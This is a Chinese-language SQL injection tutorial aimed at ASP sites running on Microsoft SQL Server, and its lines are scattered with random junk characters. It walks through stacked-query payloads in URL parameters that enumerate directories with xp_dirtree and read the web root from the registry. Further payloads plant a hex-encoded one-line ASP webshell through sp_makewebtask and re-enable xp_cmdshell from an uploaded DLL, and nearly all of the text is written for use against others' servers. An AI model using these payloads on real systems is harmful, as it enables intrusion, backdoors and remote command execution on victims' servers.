好,我们exec master..xp_dirtree'd:/test'5 P) T2 A) c+ H2 u
假设我们在test里有两个文件夹test1和test2在test1里又有test30 R/ J4 l- s! t5 Z* h6 r
结果显示
8 G- j1 U) D5 @5 U8 S- c% g6 j' G
2 Y; C$ u Z3 J9 }+ D: V% ?subdirectory depth z$ `% @0 t2 i/ `7 y/ C- Y
test1 1- ?$ J- \/ V1 V' u) ]( p; U1 A
test3 2/ P1 P3 H W3 g. `
test2 1
# Y4 J; R" E+ P, K/ s7 T; u) _! u$ \% u, D$ Z; _( G
哈哈发现没有那个depth就是目录的级数/ q/ |- w' S: N
ok了,知道怎么办了吧 {3 G/ T7 E7 m: P! H# G" n" Z$ U
+ Y0 v9 c9 ^, D; b' D2 |http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- - }( B, E) Q& @+ B) g7 g
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
# X( h) _& k$ ghttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
, ^$ i" [$ Z9 o: c
9 I: I0 k0 R2 @0 N4 I, s只要加上id=1,就是第一级目录 。
* n2 n# N4 R4 b
9 z/ ?( k, i9 t0 [! a6 K1 Z2 B6 {
通过注册表读网站路径:
: z1 w: D" A9 j# B) l
! a: S* R+ ~( R$ r6 u1.;create table [dbo].[cyfd] ([gyfd][char](255));; G9 J- T* _# F; B0 _* C" g
9 m( A( }. {: a; ^2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--# h7 S& h* ?/ n4 L3 ?
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--( w q4 S6 ^, t+ z) X
4 w, Z* I% u5 `0 p6 N# c$ b2 X& s
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
; q( ~6 a/ ?( q! o+ s. land 1=(select count(*) from cyfd where gyfd > 1)
% w" { K8 s0 W; B) v# p这样IE报错,就把刚才插进去的Web路径的值报出来了3 f/ T& l# e. t; M3 ^5 A/ ]
4 [0 a( \( g ^7 U6 k4.drop table cyfd;-- 删除临时表/ i. E3 `0 ?4 \9 p) N
: n' b. Q7 [$ z# q, b0 I# S
获得webshell方法:
: L& d- v! x( R9 l* n1.create table cmd (a image)-- \**cmd是创建的临时表
. Y) S2 [- ?- T4 A, i; N. L# _
' o4 u9 x7 T3 F* b2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话" O9 f6 a" P% B% |, {) w
2 b" U- `! A8 c) u0 S+ C" _
& G' Y( |: m% n3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'8 A2 f: S7 o% c8 F z0 S2 Z4 v& @
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'# w0 L# k& v [& |0 f
4 A9 [+ U: @ |6 z4.drop table cmd;-- 删除cmd临时表% w; } k9 R& i' K" h* E
n$ {: s7 T0 f. Q' u$ j恢复xp_cmdshell方法之一:
7 l( v& F9 `5 |! ]! h我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:& x: M7 |4 ^# c
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
! [' S0 g9 B7 W& G c1 h0 w$ N恢复,支持绝对路径的恢复哦。:)
. S: ?! c2 T" V) |- W r. Y3 a |